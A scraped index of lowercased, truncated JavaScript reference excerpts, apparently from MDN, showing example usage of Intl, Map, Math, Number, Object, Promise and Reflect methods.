examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types.
Intl.NumberFormat() constructor - JavaScript
"engineering" return the exponent of ten when divisible by three "compact" string representing exponent, defaults is using the "short" form.
Intl.NumberFormat.prototype.format() - JavaScript
examples using format use the format getter function for formatting a single currency value, here for russia: var options = { style: 'currency', currency: 'rub' }; var numberformat = new intl.numberformat('ru-ru', options); console.log(numberformat.format(654321.987)); // → "654 321,99 руб." using format with map use the format getter function for formatting all numbers in an array.
Intl.NumberFormat.supportedLocalesOf() - JavaScript
examples using supportedlocalesof assuming a runtime that supports indonesian and german but not balinese in number formatting, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is neither relevant to number formatting nor used with indonesian, and a specialized german for indonesia is unlikely to be supported.
Intl.PluralRules() constructor - JavaScript
var pr = new intl.pluralrules(); pr.select(0); // → 'other' if in us english locale pr.select(1); // → 'one' if in us english locale pr.select(2); // → 'other' if in us english locale using options the results can be customized using the options argument, which has one property called type which you can set to ordinal.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
examples using the resolvedoptions method var de = new intl.pluralrules('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.maximumfractiondigits; // 3 usedoptions.minimumfractiondigits; // 0 usedoptions.minimumintegerdigits; // 1 usedoptions.pluralcategories; // array [ "one", "other" ] usedoptions.type; // "cardinal" specificat...
Intl.PluralRules.select() - JavaScript
examples using select() new intl.pluralrules('ar-eg').select(0); // → 'zero' new intl.pluralrules('ar-eg').select(1); // → 'one' new intl.pluralrules('ar-eg').select(2); // → 'two' new intl.pluralrules('ar-eg').select(6); // → 'few' new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definit...
Intl.PluralRules.supportedLocalesOf() - JavaScript
examples using supportedlocalesof() assuming a runtime that supports indonesian and german but not balinese in plural formatting, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is neither relevant to plural formatting nor used with indonesian, and a specialized german for indonesia is unlikely to be supported.
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
examples using formattoparts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications ...
Intl.RelativeTimeFormat.supportedLocalesOf() - JavaScript
examples using supportedlocalesof assuming a runtime that supports indonesian and german but not balinese in date and time formatting, supportedlocalesof returns the indonesian and german language tags unchanged, even though pinyin collation is neither relevant to date and time formatting nor used with indonesian, and a specialized german for indonesia is unlikely to be supported.
Intl.getCanonicalLocales() - JavaScript
examples using getcanonicallocales intl.getcanonicallocales('en-us'); // ["en-us"] intl.getcanonicallocales(['en-us', 'fr']); // ["en-us", "fr"] intl.getcanonicallocales('en_us'); // rangeerror:'en_us' is not a structurally valid language tag specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.getcanonicallocales' in that specification.
JSON.parse() - JavaScript
throw new syntaxerror("json.parse"); }; } examples using json.parse() json.parse('{}'); // {} json.parse('true'); // true json.parse('"foo"'); // "foo" json.parse('[1, 5, "false"]'); // [1, 5, "false"] json.parse('null'); // null using the reviver parameter if a reviver is specified, the value computed by parsing is transformed before being returned.
Map.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') const mapiter = mymap[symbol.iterator]() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] using [@@iterator]() with for..of const mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar')...
Map.prototype[@@toStringTag] - JavaScript
property attributes of map.prototype[@@tostringtag] writable no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification.
Map.prototype.clear() - JavaScript
examples using clear() var mymap = new map(); mymap.set('bar', 'baz'); mymap.set(1, 'foo'); mymap.size; // 2 mymap.has('bar'); // true mymap.clear(); mymap.size; // 0 mymap.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.clear' in that specification.
Map.prototype.delete() - JavaScript
examples using delete() var mymap = new map(); mymap.set('bar', 'foo'); mymap.delete('bar'); // returns true.
Map.prototype.entries() - JavaScript
examples using entries() let mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') let mapiter = mymap.entries() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] specifications specification ecmascript (ecma-262)the definition of 'map.prototype.entries' ...
Map.prototype.get() - JavaScript
examples using get() let mymap = new map(); mymap.set('bar', 'foo'); mymap.get('bar'); // returns "foo" mymap.get('baz'); // returns undefined specifications specification ecmascript (ecma-262)the definition of 'map.prototype.get' in that specification.
Map.prototype.has() - JavaScript
examples using has() let mymap = new map() mymap.set('bar', "foo") mymap.has('bar') // returns true mymap.has('baz') // returns false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.has' in that specification.
Map.prototype.keys() - JavaScript
examples using keys() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.keys(); console.log(mapiter.next().value); // "0" console.log(mapiter.next().value); // 1 console.log(mapiter.next().value); // object specifications specification ecmascript (ecma-262)the definition of 'map.prototype.keys' in that specification.
Map.prototype.set() - JavaScript
examples using set() let mymap = new map() // add new elements to the map mymap.set('bar', 'foo') mymap.set(1, 'foobar') // update an element in the map mymap.set('bar', 'baz') using the set() with chaining since the set() method returns back the same map object, you can chain the method call like below: // add new elements to the map with chaining.
Map.prototype.size - JavaScript
examples using size var mymap = new map(); mymap.set('a', 'alpha'); mymap.set('b', 'beta'); mymap.set('g', 'gamma'); mymap.size // 3 specifications specification ecmascript (ecma-262)the definition of 'map.prototype.size' in that specification.
Map.prototype.values() - JavaScript
examples using values() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.values(); console.log(mapiter.next().value); // "foo" console.log(mapiter.next().value); // "bar" console.log(mapiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.values' in that specification.
Math.E - JavaScript
examples using math.e the following function returns e: function getnapier() { return math.e; } getnapier(); // 2.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.e' in that specification.
Math.LN10 - JavaScript
examples using math.ln10 the following function returns the natural log of 10: function getnatlog10() { return math.ln10; } getnatlog10(); // 2.302585092994046 specifications specification ecmascript (ecma-262)the definition of 'math.ln10' in that specification.
Math.LN2 - JavaScript
examples using math.ln2 the following function returns the natural log of 2: function getnatlog2() { return math.ln2; } getnatlog2(); // 0.6931471805599453 specifications specification ecmascript (ecma-262)the definition of 'math.ln2' in that specification.
Math.LOG10E - JavaScript
examples using math.log10e the following function returns the base 10 logarithm of e: function getlog10e() { return math.log10e; } getlog10e(); // 0.4342944819032518 specifications specification ecmascript (ecma-262)the definition of 'math.log10e' in that specification.
Math.LOG2E - JavaScript
examples using math.log2e the following function returns the base 2 logarithm of e: function getlog2e() { return math.log2e; } getlog2e(); // 1.4426950408889634 specifications specification ecmascript (ecma-262)the definition of 'math.log2e' in that specification.
Math.PI - JavaScript
examples using math.pi the following function uses math.pi to calculate the circumference of a circle with a passed radius.
Math.SQRT1_2 - JavaScript
examples using math.sqrt1_2 the following function returns 1 over the square root of 2: function getroot1_2() { return math.sqrt1_2; } getroot1_2(); // 0.7071067811865476 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt1_2' in that specification.
Math.SQRT2 - JavaScript
examples using math.sqrt2 the following function returns the square root of 2: function getroot2() { return math.sqrt2; } getroot2(); // 1.4142135623730951 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt2' in that specification.
Math.acos() - JavaScript
examples using math.acos() math.acos(-2); // nan math.acos(-1); // 3.141592653589793 math.acos(0); // 1.5707963267948966 math.acos(0.5); // 1.0471975511965979 math.acos(1); // 0 math.acos(2); // nan for values less than -1 or greater than 1, math.acos() returns nan.
Math.acosh() - JavaScript
polyfill for all x≥1x \geq 1, we have arcosh(x)=ln(x+x2-1)\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right) and so this can be emulated with the following function: math.acosh = math.acosh || function(x) { return math.log(x + math.sqrt(x * x - 1)); }; examples using math.acosh() math.acosh(-1); // nan math.acosh(0); // nan math.acosh(0.5); // nan math.acosh(1); // 0 math.acosh(2); // 1.3169578969248166 for values less than 1 math.acosh() returns nan.
Math.asin() - JavaScript
examples using math.asin() math.asin(-2); // nan math.asin(-1); // -1.5707963267948966 (-pi/2) math.asin(0); // 0 math.asin(0.5); // 0.5235987755982989 math.asin(1); // 1.5707963267948966 (pi/2) math.asin(2); // nan for values less than -1 or greater than 1, math.asin() returns nan.
Math.asinh() - JavaScript
examples using math.asinh() math.asinh(1); // 0.881373587019543 math.asinh(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'math.asinh' in that specification.
Math.atan() - JavaScript
examples using math.atan() math.atan(1); // 0.7853981633974483 math.atan(0); // 0 math.atan(-0); // -0 math.atan(infinity); // 1.5707963267948966 math.atan(-infinity); // -1.5707963267948966 // the angle that the line [(0,0);(x,y)] forms with the x-axis in a cartesian coordinate system math.atan(y / x); note that you may want to avoid using ±infinity for stylistic reasons.
Math.atan2() - JavaScript
examples using math.atan2() math.atan2(90, 15); // 1.4056476493802699 math.atan2(15, 90); // 0.16514867741462683 math.atan2(±0, -0); // ±pi.
Math.atanh() - JavaScript
polyfill for |x|<1\left|x\right| < 1, we have artanh(x)=12ln(1+x1-x)\operatorname {artanh} (x) = \frac{1}{2}\ln \left( \frac{1 + x}{1 - x} \right) so this can be emulated by the following function: math.atanh = math.atanh || function(x) { return math.log((1+x)/(1-x)) / 2; }; examples using math.atanh() math.atanh(-2); // nan math.atanh(-1); // -infinity math.atanh(0); // 0 math.atanh(0.5); // 0.5493061443340548 math.atanh(1); // infinity math.atanh(2); // nan for values greater than 1 or less than -1, nan is returned.
Math.cbrt() - JavaScript
-pow(-x, 1/3) : pow(x, 1/3); }; })(math.pow); // localize math.pow to increase efficiency } examples using math.cbrt() math.cbrt(nan); // nan math.cbrt(-1); // -1 math.cbrt(-0); // -0 math.cbrt(-infinity); // -infinity math.cbrt(0); // 0 math.cbrt(1); // 1 math.cbrt(infinity); // infinity math.cbrt(null); // 0 math.cbrt(2); // 1.2599210498948732 specifications specification ecmascript (ecma-262)the definition of 'math.cbrt' in that specification.
Math.ceil() - JavaScript
examples using math.ceil() the following example shows example usage of math.ceil().
Math.cos() - JavaScript
examples using math.cos() math.cos(0); // 1 math.cos(1); // 0.5403023058681398 math.cos(math.pi); // -1 math.cos(2 * math.pi); // 1 specifications specification ecmascript (ecma-262)the definition of 'math.cos' in that specification.
Math.exp() - JavaScript
examples using math.exp() math.exp(-1); // 0.36787944117144233 math.exp(0); // 1 math.exp(1); // 2.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.exp' in that specification.
Math.expm1() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.expm1 = math.expm1 || function(x) { return math.exp(x) - 1; }; examples using math.expm1() math.expm1(-1); // -0.6321205588285577 math.expm1(0); // 0 math.expm1(1); // 1.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.expm1' in that specification.
Math.floor() - JavaScript
examples using math.floor() math.floor( 45.95); // 45 math.floor( 45.05); // 45 math.floor( 4 ); // 4 math.floor(-45.05); // -46 math.floor(-45.95); // -46 decimal adjustment /** * decimal adjustment of a number.
Math.fround() - JavaScript
var mantissa = math.round((leading - arg / powexp) * 0x800000); if (mantissa <= -0x800000) return sign * infinity; return sign * powexp * (leading - mantissa / 0x800000); }; examples using math.fround() the number 1.5 can be precisely represented in the binary numeral system, and is identical in 32-bit and 64-bit: math.fround(1.5); // 1.5 math.fround(1.5) === 1.5; // true however, the number 1.337 cannot be precisely represented in the binary numeral system, so it differs in 32-bit and 64-bit: math.fround(1.337); // 1.3370000123977661 math.fround(1.337) === 1.337; // false 2...
Math.hypot() - JavaScript
1 / 0 : max * math.sqrt(s)); }; examples using math.hypot() math.hypot(3, 4); // 5 math.hypot(3, 4, 5); // 7.0710678118654755 math.hypot(); // 0 math.hypot(nan); // nan math.hypot(nan, infinity); // infinity math.hypot(3, 4, 'foo'); // nan, since +'foo' => nan math.hypot(3, 4, '5'); // 7.0710678118654755, +'5' => 5 math.hypot(-3); // 3, the same as math.abs(-3) specifications ...
Math.log() - JavaScript
examples using math.log() math.log(-1); // nan, out of range math.log(0); // -infinity math.log(1); // 0 math.log(10); // 2.302585092994046 using math.log() with a different base the following function returns the logarithm of y with base x (ie.
Math.log10() - JavaScript
examples using math.log10() math.log10(2); // 0.3010299956639812 math.log10(1); // 0 math.log10(0); // -infinity math.log10(-2); // nan math.log10(100000); // 5 polyfill this can be emulated with the following function: math.log10 = math.log10 || function(x) { return math.log(x) * math.log10e; }; specifications specification ecmascript (ecma-262)the definition of '...
Math.log1p() - JavaScript
x : x * (math.log(x + 1) / nearx); }; examples using math.log1p() math.log1p(1); // 0.6931471805599453 math.log1p(0); // 0 math.log1p(-1); // -infinity math.log1p(-2); // nan specifications specification ecmascript (ecma-262)the definition of 'math.log1p' in that specification.
Math.log2() - JavaScript
if (!math.log2) math.log2 = function(x) { return math.log(x) * math.log2e; }; examples using math.log2() math.log2(3); // 1.584962500721156 math.log2(2); // 1 math.log2(1); // 0 math.log2(0); // -infinity math.log2(-2); // nan math.log2(1024); // 10 specifications specification ecmascript (ecma-262)the definition of 'math.log2' in that specification.
Math.min() - JavaScript
examples using math.min() this finds the min of x and y and assigns it to z: var x = 10, y = -20; var z = math.min(x, y); clipping a value with math.min() math.min() is often used to clip a value so that it is always less than or equal to a boundary.
Math.pow() - JavaScript
examples using math.pow() // simple math.pow(7, 2); // 49 math.pow(7, 3); // 343 math.pow(2, 10); // 1024 // fractional exponents math.pow(4, 0.5); // 2 (square root of 4) math.pow(8, 1/3); // 2 (cube root of 8) math.pow(2, 0.5); // 1.4142135623730951 (square root of 2) math.pow(2, 1/3); // 1.2599210498948732 (cube root of 2) // signed exponents math.pow(7, -2); // 0.02040816326530612 (1/49) math...
Math.round() - JavaScript
examples using round math.round( 20.49); // 20 math.round( 20.5 ); // 21 math.round( 42 ); // 42 math.round(-20.5 ); // -20 math.round(-20.51); // -21 specifications specification ecmascript (ecma-262)the definition of 'math.round' in that specification.
Math.sign() - JavaScript
examples using math.sign() math.sign(3); // 1 math.sign(-3); // -1 math.sign('-3'); // -1 math.sign(0); // 0 math.sign(-0); // -0 math.sign(nan); // nan math.sign('foo'); // nan math.sign(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.sign' in that specification.
Math.sin() - JavaScript
examples using math.sin() math.sin(0); // 0 math.sin(1); // 0.8414709848078965 math.sin(math.pi / 2); // 1 specifications specification ecmascript (ecma-262)the definition of 'math.sin' in that specification.
Math.sqrt() - JavaScript
examples using math.sqrt() math.sqrt(9); // 3 math.sqrt(2); // 1.414213562373095 math.sqrt(1); // 1 math.sqrt(0); // 0 math.sqrt(-1); // nan math.sqrt(-0); // -0 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt' in that specification.
Math.tan() - JavaScript
examples using math.tan() math.tan(1); // 1.5574077246549023 because the math.tan() function accepts radians, but it is often easier to work with degrees, the following function accepts a value in degrees, converts it to radians and returns the tangent.
Math.tanh() - JavaScript
-1 : (a - b) / (a + b); } examples using math.tanh() math.tanh(0); // 0 math.tanh(infinity); // 1 math.tanh(1); // 0.7615941559557649 specifications specification ecmascript (ecma-262)the definition of 'math.tanh' in that specification.
Math.trunc() - JavaScript
math.ceil(v) : math.floor(v); }; } examples using math.trunc() math.trunc(13.37); // 13 math.trunc(42.84); // 42 math.trunc(0.123); // 0 math.trunc(-0.123); // -0 math.trunc('-1.123'); // -1 math.trunc(nan); // nan math.trunc('foo'); // nan math.trunc(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.trunc' in that specification.
Number.MAX_VALUE - JavaScript
examples using max_value the following code multiplies two numeric values.
Number.MIN_VALUE - JavaScript
examples using min_value the following code divides two numeric values.
Number.NEGATIVE_INFINITY - JavaScript
examples using negative_infinity in the following example, the variable smallnumber is assigned a value that is smaller than the minimum value.
Number.POSITIVE_INFINITY - JavaScript
examples using positive_infinity in the following example, the variable bignumber is assigned a value that is larger than the maximum value.
Number.isFinite() - JavaScript
polyfill if (number.isfinite === undefined) number.isfinite = function(value) { return typeof value === 'number' && isfinite(value); } examples using isfinite number.isfinite(infinity); // false number.isfinite(nan); // false number.isfinite(-infinity); // false number.isfinite(0); // true number.isfinite(2e64); // true number.isfinite('0'); // false, would've been true with // global isfinite('0') number.isfinite(null); // false, would've been true with ...
Number.isInteger() - JavaScript
polyfill number.isinteger = number.isinteger || function(value) { return typeof value === 'number' && isfinite(value) && math.floor(value) === value; }; examples using isinteger number.isinteger(0); // true number.isinteger(1); // true number.isinteger(-100000); // true number.isinteger(99999999999999999999999); // true number.isinteger(0.1); // false number.isinteger(math.pi); // false number.isinteger(nan); // false number.isinteger(infinity); // false number.isinteger(-infinity); // false number.isinteger('10'); // fa...
Number.isNaN() - JavaScript
number.isnan = number.isnan || function isnan(input) { return typeof input === 'number' && input !== input; } examples using isnan number.isnan(nan); // true number.isnan(number.nan); // true number.isnan(0 / 0); // true // e.g.
Number.parseFloat() - JavaScript
if this argument is not a string, then it is converted to one using the tostring abstract operation.
Number.parseInt() - JavaScript
if this argument is not a string, then it is converted to one using the tostring abstract operation.
Number.prototype.toExponential() - JavaScript
examples using toexponential var numobj = 77.1234; console.log(numobj.toexponential()); // logs 7.71234e+1 console.log(numobj.toexponential(4)); // logs 7.7123e+1 console.log(numobj.toexponential(2)); // logs 7.71e+1 console.log(77.1234.toexponential()); // logs 7.71234e+1 console.log(77 .toexponential()); // logs 7.7e+1 specifications specification ecmascript (ecma-262)the definitio...
Number.prototype.toPrecision() - JavaScript
examples using toprecision let numobj = 5.123456 console.log(numobj.toprecision()) // logs '5.123456' console.log(numobj.toprecision(5)) // logs '5.1235' console.log(numobj.toprecision(2)) // logs '5.1' console.log(numobj.toprecision(1)) // logs '5' numobj = 0.000123 console.log(numobj.toprecision()) // logs '0.000123' console.log(numobj.toprecision(5)) // logs '0.00012300' console.log(numobj.
Number.prototype.toString() - JavaScript
examples using tostring let count = 10 console.log(count.tostring()) // displays '10' console.log((17).tostring()) // displays '17' console.log((17.2).tostring()) // displays '17.2' let x = 6 console.log(x.tostring(2)) // displays '110' console.log((254).tostring(16)) // displays 'fe' console.log((-10).tostring(2)) // displays '-1010' console.log((-0xff).tostring(2)) // displays '-1111111...
Number.prototype.valueOf() - JavaScript
examples using valueof let numobj = new number(10) console.log(typeof numobj) // object let num = numobj.valueof() console.log(num) // 10 console.log(typeof num) // number specifications specification ecmascript (ecma-262)the definition of 'number.prototype.valueof' in that specification.
Object() constructor - JavaScript
examples creating a new object let o = new object() o.foo = 42 console.log(o) // object { foo: 42 } using object given undefined and null types the following examples store an empty object object in o: let o = new object() let o = new object(undefined) let o = new object(null) specifications specification ecmascript (ecma-262)the definition of 'object constructor' in that specification.
Object.prototype.__lookupGetter__() - JavaScript
it is now possible to do this in a standardized way using object.getownpropertydescriptor() and object.getprototypeof().
Object.prototype.__lookupSetter__() - JavaScript
it is now possible to do this in a standardized way using object.getownpropertydescriptor().
Object.prototype.constructor - JavaScript
summary: manually updating or setting the constructor can lead to differrent and sometimes confusing consequences.
Object.defineProperties() - JavaScript
j !== 'object' || obj === null) throw new typeerror('bad obj'); properties = object(properties); var keys = object.keys(properties); var descs = []; for (var i = 0; i < keys.length; i++) descs.push([keys[i], converttodescriptor(properties[keys[i]])]); for (var i = 0; i < descs.length; i++) object.defineproperty(obj, descs[i][0], descs[i][1]); return obj; } examples using object.defineproperties var obj = {}; object.defineproperties(obj, { 'property1': { value: true, writable: true }, 'property2': { value: 'hello', writable: false } // etc.
Object.getOwnPropertyDescriptor() - JavaScript
examples using object.getownpropertydescriptor var o, d; o = { get foo() { return 17; } }; d = object.getownpropertydescriptor(o, 'foo'); // d is { // configurable: true, // enumerable: true, // get: /*the getter function*/, // set: undefined // } o = { bar: 42 }; d = object.getownpropertydescriptor(o, 'bar'); // d is { // configurable: true, // enumerable: true, // value: 42, // writable: tr...
Object.getOwnPropertySymbols() - JavaScript
examples using getownpropertysymbols var obj = {}; var a = symbol('a'); var b = symbol.for('b'); obj[a] = 'localsymbol'; obj[b] = 'globalsymbol'; var objectsymbols = object.getownpropertysymbols(obj); console.log(objectsymbols.length); // 2 console.log(objectsymbols); // [symbol(a), symbol(b)] console.log(objectsymbols[0]); // symbol(a) specifications specification ecmascript...
Object.getPrototypeOf() - JavaScript
examples using getprototypeof var proto = {}; var obj = object.create(proto); object.getprototypeof(obj) === proto; // true non-object coercion in es5, it will throw a typeerror exception if the obj parameter isn't an object.
Object.is() - JavaScript
polyfill if (!object.is) { object.is = function(x, y) { // samevalue algorithm if (x === y) { // steps 1-5, 7-10 // steps 6.b-6.e: +0 != -0 return x !== 0 || 1 / x === 1 / y; } else { // step 6.a: nan == nan return x !== x && y !== y; } }; } examples using object.is object.is('foo', 'foo'); // true object.is(window, window); // true object.is('foo', 'bar'); // false object.is([], []); // false var foo = { a: 1 }; var bar = { a: 1 }; object.is(foo, foo); // true object.is(foo, bar); // false object.is(null, null); // true // special cases object.is(0, -0); // false object.is(-0, -0); ...
Object.isFrozen() - JavaScript
examples using object.isfrozen // a new object is extensible, so it is not frozen.
Object.prototype.isPrototypeOf() - JavaScript
examples using isprototypeof this example demonstrates that baz.prototype, bar.prototype, foo.prototype and object.prototype exist in the prototype chain for object baz: function foo() {} function bar() {} function baz() {} bar.prototype = object.create(foo.prototype); baz.prototype = object.create(bar.prototype); var baz = new baz(); console.log(baz.prototype.isprototypeof(baz)); // true console.log(bar.p...
Object.isSealed() - JavaScript
examples using object.issealed // objects aren't sealed by default.
Object.keys() - JavaScript
examples using object.keys // simple array const arr = ['a', 'b', 'c']; console.log(object.keys(arr)); // console: ['0', '1', '2'] // array-like object const obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.keys(obj)); // console: ['0', '1', '2'] // array-like object with random key ordering const anobj = { 100: 'a', 2: 'b', 7: 'c' }; console.log(object.keys(anobj)); // console: ['2', '7', '100'] // get...
Object.preventExtensions() - JavaScript
examples using object.preventextensions // object.preventextensions returns the object // being made non-extensible.
Object.seal() - JavaScript
examples using object.seal var obj = { prop: function() {}, foo: 'bar' }; // new properties may be added, existing properties // may be changed or removed.
Object.values() - JavaScript
examples using object.values const obj = { foo: 'bar', baz: 42 }; console.log(object.values(obj)); // ['bar', 42] // array-like object const arraylikeobj1 = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.values(arraylikeobj1 )); // ['a', 'b', 'c'] // array-like object with random key ordering // when using numeric keys, the values are returned in the keys' numerical order const arraylikeobj2 = { 100: 'a', 2:...
Promise() constructor - JavaScript
examples creating a new promise a promise object is created using the new keyword and its constructor.
Promise.allSettled() - JavaScript
examples using promise.allsettled promise.allsettled([ promise.resolve(33), new promise(resolve => settimeout(() => resolve(66), 0)), 99, promise.reject(new error('an error')) ]) .then(values => console.log(values)); // [ // {status: "fulfilled", value: 33}, // {status: "fulfilled", value: 66}, // {status: "fulfilled", value: 99}, // {status: "rejected", reason: error: an error} // ] specif...
Promise.prototype.catch() - JavaScript
examples using and chaining the catch method var p1 = new promise(function(resolve, reject) { resolve('success'); }); p1.then(function(value) { console.log(value); // "success!" throw new error('oh, no!'); }).catch(function(e) { console.error(e.message); // "oh, no!" }).then(function(){ console.log('after a catch the chain is restored'); }, function () { console.log('not fired due to the catch'); ...
Promise.prototype.finally() - JavaScript
examples using finally let isloading = true; fetch(myrequest).then(function(response) { var contenttype = response.headers.get("content-type"); if(contenttype && contenttype.includes("application/json")) { return response.json(); } throw new typeerror("oops, we haven't got json!"); }) .then(function(json) { /* process your json further */ }) .catch(function(error) { console.error(e...
Promise.reject() - JavaScript
examples using the static promise.reject() method promise.reject(new error('fail')).then(function() { // not called }, function(error) { console.error(error); // stacktrace }); specifications specification ecmascript (ecma-262)the definition of 'promise.reject' in that specification.
Promise.resolve() - JavaScript
examples using the static promise.resolve method promise.resolve('success').then(function(value) { console.log(value); // "success" }, function(value) { // not called }); resolving an array var p = promise.resolve([1,2,3]); p.then(function(v) { console.log(v[0]); // 1 }); resolving another promise var original = promise.resolve(33); var cast = promise.resolve(original); cast.then(function(value) { ...
handler.getOwnPropertyDescriptor() - JavaScript
the result of object.getownpropertydescriptor(target) can be applied to the target object using object.defineproperty() and will not throw an exception.
Proxy.revocable() - JavaScript
examples using proxy.revocable var revocable = proxy.revocable({}, { get: function(target, name) { return "[[" + name + "]]"; } }); var proxy = revocable.proxy; console.log(proxy.foo); // "[[foo]]" revocable.revoke(); console.log(proxy.foo); // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo; // still typeerror typeof proxy // "object", typeof doesn't ...
RangeError() constructor - JavaScript
filename optional the name of the file containing the code that caused the exception linenumber optional the line number of the code that caused the exception examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"...
RangeError - JavaScript
examples using rangeerror (for numeric values) function check(n) { if( !(n >= -500 && n <= 500) ) { throw new rangeerror("the argument must be between -500 and 500.") } } try { check(2000) } catch(error) { if (error instanceof rangeerror) { // handle the error } } using rangeerror (for non-numeric values) function check(value) { if(["apple", "banana", "carrot"...
Reflect.apply() - JavaScript
examples using reflect.apply() reflect.apply(math.floor, undefined, [1.75]); // 1; reflect.apply(string.fromcharcode, undefined, [104, 101, 108, 108, 111]) // "hello" reflect.apply(regexp.prototype.exec, /ab/, ['confabulation']).index // 4 reflect.apply(''.charat, 'ponies', [3]) // "i" specifications specification ecmascript (ecma-262)the definition of 'reflect.apply' in that specificat...
Reflect.defineProperty() - JavaScript
examples using reflect.defineproperty() let obj = {} reflect.defineproperty(obj, 'x', {value: 7}) // true obj.x // 7 checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property.
Reflect.deleteProperty() - JavaScript
examples using reflect.deleteproperty() let obj = { x: 1, y: 2 } reflect.deleteproperty(obj, 'x') // true obj // { y: 2 } let arr = [1, 2, 3, 4, 5] reflect.deleteproperty(arr, '3') // true arr // [1, 2, 3, undefined, 5] // returns true if no such property exists reflect.deleteproperty({}, 'foo') // true // returns false if a property is unconfig...
Reflect.get() - JavaScript
examples using reflect.get() // object let obj = { x: 1, y: 2 } reflect.get(obj, 'x') // 1 // array reflect.get(['zero', 'one'], 1) // "one" // proxy with a get handler let x = {p: 1}; let obj = new proxy(x, { get(t, k, r) { return k + 'bar' } }) reflect.get(obj, 'foo') // "foobar" //proxy with get handler and receiver let x = {p: 1, foo: 2}; let y = {foo: 3}; let obj = new proxy(x, { get(t, ...
Reflect.getOwnPropertyDescriptor() - JavaScript
examples using reflect.getownpropertydescriptor() reflect.getownpropertydescriptor({x: 'hello'}, 'x') // {value: "hello", writable: true, enumerable: true, configurable: true} reflect.getownpropertydescriptor({x: 'hello'}, 'y') // undefined reflect.getownpropertydescriptor([], 'length') // {value: 0, writable: true, enumerable: false, configurable: false} difference to object.getownpropertydescriptor() if...
Reflect.getPrototypeOf() - JavaScript
examples using reflect.getprototypeof() reflect.getprototypeof({}) // object.prototype reflect.getprototypeof(object.prototype) // null reflect.getprototypeof(object.create(null)) // null compared to object.getprototypeof() // same result for objects object.getprototypeof({}) // object.prototype reflect.getprototypeof({}) // object.prototype // both throw in es5 for non-objects objec...
Reflect.has() - JavaScript
examples using reflect.has() reflect.has({x: 0}, 'x') // true reflect.has({x: 0}, 'y') // false // returns true for properties in the prototype chain reflect.has({x: 0}, 'tostring') // proxy with .has() handler method obj = new proxy({}, { has(t, k) { return k.startswith('door') } }); reflect.has(obj, 'doorbell') // true reflect.has(obj, 'dormitory') // false reflect.has returns true for any inherit...
Reflect.isExtensible() - JavaScript
examples using reflect.isextensible() see also object.isextensible().
Reflect.ownKeys() - JavaScript
examples using reflect.ownkeys() reflect.ownkeys({z: 3, y: 2, x: 1}) // [ "z", "y", "x" ] reflect.ownkeys([]) // ["length"] let sym = symbol.for('comet') let sym2 = symbol.for('meteor') let obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0, [sym2]: 0, '-1': 0, '8': 0, 'second str': 0} reflect.ownkeys(obj) // [ "0", "8", "773", "str", "-1", "second str", symbol(comet), symbol(meteor) ] /...
Reflect.preventExtensions() - JavaScript
examples using reflect.preventextensions() see also object.preventextensions().
Reflect.set() - JavaScript
examples using reflect.set() // object let obj = {} reflect.set(obj, 'prop', 'value') // true obj.prop // "value" // array let arr = ['duck', 'duck', 'duck'] reflect.set(arr, 2, 'goose') // true arr[2] // "goose" // it can truncate an array.
Reflect.setPrototypeOf() - JavaScript
examples using reflect.setprototypeof() reflect.setprototypeof({}, object.prototype) // true // it can change an object's [[prototype]] to null.
RegExp.prototype[@@match]() - JavaScript
